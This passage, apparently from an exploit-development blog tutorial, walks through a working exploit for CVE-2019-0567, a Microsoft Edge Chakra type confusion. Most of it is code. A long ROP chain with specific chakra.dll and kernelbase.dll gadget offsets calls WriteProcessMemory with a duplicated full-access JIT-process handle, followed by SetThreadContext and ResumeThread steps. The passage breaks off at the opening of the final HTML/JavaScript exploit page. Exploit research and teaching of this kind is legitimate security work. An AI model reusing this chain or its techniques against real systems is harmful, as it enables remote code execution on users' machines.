<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xfeab</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x18000feab: mov qword [rax], rcx ; ret  (Context.Rip = ret_gadget)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 4)</span>
<span class="c1">// Stage 9 -&gt; Write our ROP chain to the remote process, using the JIT handle and the leaked stack via GetThreadContext()</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000100</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x100) (CONTEXT.Rsp is writable and a "full" stack, so 0x100 is more than enough)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a118</span><span class="o">-</span><span class="mh">0x08</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span>      <span class="c1">// .data section of kernelbase.dll where CONTEXT.Rsp resides</span>
<span class="nx">next</span><span class="p">();</span>                                                                      
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret (Pointer to CONTEXT.Rsp)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26ef31</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18026ef31: mov rax, qword [rax] ; ret (get CONTEXT.Rsp)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x435f21</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180435f21: mov rdx, rax ; mov rax, rdx ; add rsp, 0x28 ; ret (RAX and RDX now both have CONTEXT.Rsp)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropBegin</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data section of chakra.dll where our ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds the full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it  </span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x20)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Setting a <code class="language-plaintext highlighter-rouge">jmp rax</code> breakpoint, and then after stepping through the <code class="language-plaintext highlighter-rouge">CONTEXT.Rip</code> update and <code class="language-plaintext highlighter-rouge">CONTEXT.Rsp</code> saving gadgets, we can start executing our <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP chain.</p>

<p><img src="/images/3typeconfusion181.png" alt="" /></p>

<p><img src="/images/3typeconfusion182.png" alt="" /></p>

<p>As we can see, we set <code class="language-plaintext highlighter-rouge">nSize</code> to <code class="language-plaintext highlighter-rouge">0x100</code>. We are attempting to copy our ROP chain into the JIT process, and our ROP chain is much smaller than <code class="language-plaintext highlighter-rouge">0x100</code>. However, instead of calculating the size, we simply can just use <code class="language-plaintext highlighter-rouge">0x100</code> bytes as we have a full stack to work with in the remote process and it is writable. After setting the size, our call is in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">rop_chain</span><span class="p">)</span>			<span class="c1">// Size of our ROP chain</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we will fix is <code class="language-plaintext highlighter-rouge">lpBaseAddress</code>, which will be where we want to write the ROP chain. In this case, it is the stack location, which we can leak from our preserved <code class="language-plaintext highlighter-rouge">CONTEXT.Rsp</code> address.</p>

<p><img src="/images/3typeconfusion183.png" alt="" /></p>

<p>Using the same “trick” as before, our <code class="language-plaintext highlighter-rouge">mov rdx, [rdx+0x8]</code> gadget is circumvented by simply subtracting <code class="language-plaintext highlighter-rouge">0x8</code> before had the value we want to place in RDX. From here, we can clearly see we have extracted what <code class="language-plaintext highlighter-rouge">CONTEXT.Rsp</code> pointed to - and that is the stack within the JIT process.</p>

<p>Our call is in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">.</span><span class="n">Rsp</span><span class="p">),</span>			<span class="c1">// Address of our remote thread's stack</span>
	<span class="o">-</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">rop_chain</span><span class="p">)</span>			<span class="c1">// Size of our ROP chain</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Next up is the <code class="language-plaintext highlighter-rouge">lpBuffer</code> parameter. This parameter is very straight forward, as we can simply just <code class="language-plaintext highlighter-rouge">pop</code> the address of the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code> where our ROP chain was placed.</p>

<p><img src="/images/3typeconfusion184.png" alt="" /></p>

<p>Our call is now in the below state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">.</span><span class="n">Rsp</span><span class="p">),</span>				<span class="c1">// Address of our remote thread's stack</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_chakra_shellcode_location</span><span class="p">),</span>	<span class="c1">// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">rop_chain</span><span class="p">)</span>				<span class="c1">// Size of our ROP chain</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next (and last register-placed parameter) is our <code class="language-plaintext highlighter-rouge">HANDLE</code>.</p>

<p><img src="/images/3typeconfusion185.png" alt="" /></p>

<p>We now have our call almost completed:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 					<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">.</span><span class="n">Rsp</span><span class="p">),</span>				<span class="c1">// Address of our remote thread's stack</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_chakra_shellcode_location</span><span class="p">),</span>	<span class="c1">// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">rop_chain</span><span class="p">)</span>				<span class="c1">// Size of our ROP chain</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Lastly, all we need to do is set a <code class="language-plaintext highlighter-rouge">NULL</code> value of RSP + <code class="language-plaintext highlighter-rouge">0x28</code> and set RAX to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>. The full call can be seen below:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 					<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">.</span><span class="n">Rsp</span><span class="p">),</span>				<span class="c1">// Address of our remote thread's stack</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_chakra_shellcode_location</span><span class="p">),</span>	<span class="c1">// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">rop_chain</span><span class="p">)</span>				<span class="c1">// Size of our ROP chain</span>
	<span class="nb">NULL</span> 						<span class="c1">// Optional</span>
<span class="p">);</span>
</code></pre></div></div>
<p><img src="/images/3typeconfusion186.png" alt="" /></p>

<p>We can then attach <em>another</em> WinDbg session to the JIT process and examine the write operation.</p>

<p><img src="/images/3typeconfusion187.png" alt="" /></p>

<p>As we can see, we have remotely placed our ROP chain to RSP! All we have to do now is update our thread’s RIP member via <code class="language-plaintext highlighter-rouge">SetThreadContext</code> and then resume the thread to kick off execution!</p>

<h2 id="setthreadcontext-and-resumethread-rop-chain"><code class="language-plaintext highlighter-rouge">SetThreadContext</code> and <code class="language-plaintext highlighter-rouge">ResumeThread</code> ROP Chain</h2>

<p>All that is left now is to set the thread’s <code class="language-plaintext highlighter-rouge">CONTEXT</code> and resume the thread. Here is how this looks:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SetThreadContext</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>				<span class="c1">// A handle to the thread we want to set (our thread we created via CreateRemoteThread)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAlloc_buffer</span><span class="p">)</span>		<span class="c1">// The updated CONTEXT structure</span>
<span class="p">);</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ResumeThread</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>				<span class="c1">// A handle to the thread we want to resume (our thread we created via CreateRemoteThread)</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Here is our final exploit:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onclick</span><span class="o">=</span><span class="dl">"</span><span class="s2">main()</span><span class="dl">"</span><span class="o">&gt;</span><span class="nx">Click</span> <span class="nx">me</span> <span class="nx">to</span> <span class="nx">exploit</span> <span class="nx">CVE</span><span class="o">-</span><span class="mi">2019</span><span class="o">-</span><span class="mi">0567</span><span class="o">!&lt;</span><span class="sr">/button</span><span class="err">&gt;
</span>
<span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
